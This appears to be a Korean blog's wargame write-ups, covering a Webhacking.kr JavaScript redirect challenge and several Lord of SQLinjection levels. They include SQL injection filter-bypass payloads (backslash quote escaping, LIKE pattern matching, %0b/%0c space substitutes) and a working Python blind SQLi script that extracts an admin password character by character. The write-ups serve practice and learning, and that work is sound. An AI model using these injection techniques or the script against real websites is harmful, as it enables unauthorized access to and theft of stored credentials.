기존의 Webhacking.kr 에서 리모델링(?)된 기념으로 All-Clear 도전하기. 리모델링도 됐겠다 새로운 계정을 파서 처음부터 해보기로 했습니다. 풀이 순서는 낮은 점수부터 높은 점수까지! 첫 문제는 old-15입니다. 클릭해보면 아래와 같은 화면을 볼 수 있습니다.

 

 

 바로 Access_Denied를 뱉고 홈페이지로 돌아가는데 일단 소스코드를 살펴보겠습니다. 소스 코드를 살펴보는 방법에는 다양한 방법이 있겠지만 저는 주로 다음과 같은 방법을 사용합니다.

view-source:URL

이 문제에서는 아래와 같겠죠
view-source:https://webhacking.kr/challenge/js-2/

이걸 주소창에 적어주시면 소스코드를 볼 수 있습니다. 그리고 이번 문제의 소스는 아래와 같습니다.

 

<html>
<head>
<title>Challenge 15</title>
</head>
<body>
<script>
  alert("Access_Denied");
  location.href='/';
  document.write("<a href=?getFlag>[Get Flag]</a>");
</script>
</body>

 

 그냥 바로 Access_Denied alert창을 띄우고 location.href를 이용하여 webhacking.kr 홈페이지로 바로 이동하는 코드입니다.
그런데 그 바로 아래에 document.wirte("<a href=?getFlag>[Get Flag]</a>"); 가 있습니다.
해당 코드는 현재 페이지에 [Get Flag]라는 문자열을 출력해주고 해당 문자열에 ?getFlag로 이동하는 링크를 걸어줍니다.
아래의 예시를 보면 바로 이해되실겁니다.

위 링크를 클릭하면 네이버로 이동됩니다.

 그런데 alert후에 바로 홈페이지로 이동하게 만들어놔서 우린 위의 링크를 볼 수 없습니다. 하지만 우린 소스를 통해 주소를 알아냈으니 직접 접속해서 해결할 수 있습니다.

 

 

 

'Web Hacking > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-17  (0) 2019.10.22
[Webhacking.kr] old-16  (0) 2019.10.22
[Webhacking.kr] old-14  (0) 2019.10.22
[Webhacking.kr] old-01  (0) 2019.10.22
[Webhacking.kr] old-06(100)  (0) 2019.09.29

 

LOS(los.rubiya.kr) Succubus

 음.. 이번 문제는 뭐랄까 정말 감탄스러운 문제입니다. 조건문을 참으로 만들면 패스되는 문제인데 싱글 쿼터가 필터링 됩니다. 이것저것 다 해보다가 진짜 모르겠어서 롸업을 봤는데 \ 문자를 넣어서 id='\' and pw=''가 되게 만드는 풀이가 있었습니다. 처음엔 어리둥절했는데.. 저걸 구분하기 쉽게 색깔로 표현하자면 id='\' and pw='' 저 주황색 친구들이 전부 id에 들어가는 문자열이 되는겁니다. 그럼 pw에 입력되는 값은 이렇게 id='\' and pw='AAAA' 들어갑니다. 그래서 아래 처럼 or문과 1을 이용해 오른쪽을 참으로 만들어주면 끝

'Web Hacking > los.rubiya.kr' 카테고리의 다른 글

[Lord of SQLinjection] Assassin  (0) 2019.08.26
[Lord of SQLinjection] Giant  (0) 2019.08.26
[Lord of SQLinjection] Bugbear  (0) 2019.08.26
[Lord of SQLinjection] Darkknight  (0) 2019.08.26
[Lord of SQLinjection] Golem  (0) 2019.08.26

LOS(los.rubiya.kr) Assassin
 LIKE의 특징을 이용하여 푸는 문제입니다. LIKE는 다음과 같이 패턴 형식 검사가 가능합니다. %A, %A%, A% 순서대로 ~~~A, ~~A~~, A~~~에 해당합니다. 이를 이용해서 0~9, a-z, A-Z까지 검사하여 패턴 검사를 통해 비밀번호를 추출해냅니다.
아래 정답 화면을 예로 들면 9%, 90%, 902%, 902E%... 식으로 나오겠죠?

'Web Hacking > los.rubiya.kr' 카테고리의 다른 글

[Lord of SQLinjection] Succubus  (0) 2019.08.26
[Lord of SQLinjection] Giant  (0) 2019.08.26
[Lord of SQLinjection] Bugbear  (0) 2019.08.26
[Lord of SQLinjection] Darkknight  (0) 2019.08.26
[Lord of SQLinjection] Golem  (0) 2019.08.26

LOS(los.rubiya.kr) Giant

 이번엔 매우 간단한 문제입니다. from과 prob_giant가 붙어 있는걸 떨어지게 만들면되는데 공백문자, 개행 등 필터링이 되는 문자가 존재하고 입력된 shit인자값의 길이가 2이상이면 필터링됩니다. 그러니까 공백문자를 대체할 1바이트의 문자가 필요한데 기존에 사용하던 %09의 경우 \t로 필터링됩니다. 그래서 아스키코드표를 보며 몇가지 테스트한 결과 %0b, %0c가 매우 잘 먹힌다는것을 확인했습니다. 둘 다 예전에 쓰던 친구들이라는데.. 정확한 정보는 찾기가 어렵네요.

'Web Hacking > los.rubiya.kr' 카테고리의 다른 글

[Lord of SQLinjection] Succubus  (0) 2019.08.26
[Lord of SQLinjection] Assassin  (0) 2019.08.26
[Lord of SQLinjection] Bugbear  (0) 2019.08.26
[Lord of SQLinjection] Darkknight  (0) 2019.08.26
[Lord of SQLinjection] Golem  (0) 2019.08.26

LOS(los.rubiya.kr) bugbear

 Blind SQLi 인데 파라미터가 하나 더 추가 됐고 필터링도 조금 추가됐습니다. 여기서 좀 고생을 했는데.. 기존엔 계속 id='admin'을 쓰다가 필터링으로 인해 그걸 쓰지 못해서 어떻게 해야하나 고민하느라 시간이 좀 걸렸습니다. 일단 no로 admin을 특정할 수 있는데 =도 안되고 like도 안됩니다. ㅠㅠ 그래서 비교연산자(<, >)를 이용해서 풀었습니다. 예를들면 no=2가 admin인데 no>1 && no<3 이런식으로 no=2를 지정했습니다. length와 mid도 마찬가지.

...더보기
import urllib2
import requests

flag = ""
length = 0
i = 1

session = dict(PHPSESSID = "qt55vvaetoc7mrikuq8qjmopr5")
url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw="
while True:
    q = url + "1&no=1||no>1%26%26no<3%26%26length(pw)>"+str(i-1)+"%26%26length(pw)<"+str(i+1)+"%23"
    print 'TEST #',i
    print q
    r = requests.post(q, cookies=session)
    if "Hello admin" in r.text:
        length = i
        break

    i = i + 1

print " PASSWORD LENGTH : ", length

for j in range(1, length +1):
    for i in range(48,123):
        q = url + "1&no=1||no>1%26%26no<3%26%26mid(pw,"+str(j)+",1)>"+"\""+chr(i-1)+"\"%26%26mid(pw,"+str(j)+",1)<"+"\""+chr(i+1)+"\"%23"

        print 'TEST #', j, '-', i
        print q
        r = requests.post(q,cookies=session)

        if 'Hello admin' in r.text:
            flag += chr(i)
            print "FLAG : ",flag
            break

'Web Hacking > los.rubiya.kr' 카테고리의 다른 글

[Lord of SQLinjection] Assassin  (0) 2019.08.26
[Lord of SQLinjection] Giant  (0) 2019.08.26
[Lord of SQLinjection] Darkknight  (0) 2019.08.26
[Lord of SQLinjection] Golem  (0) 2019.08.26
[Lord of SQLinjection] Skeleton  (0) 2019.08.18

+ Recent posts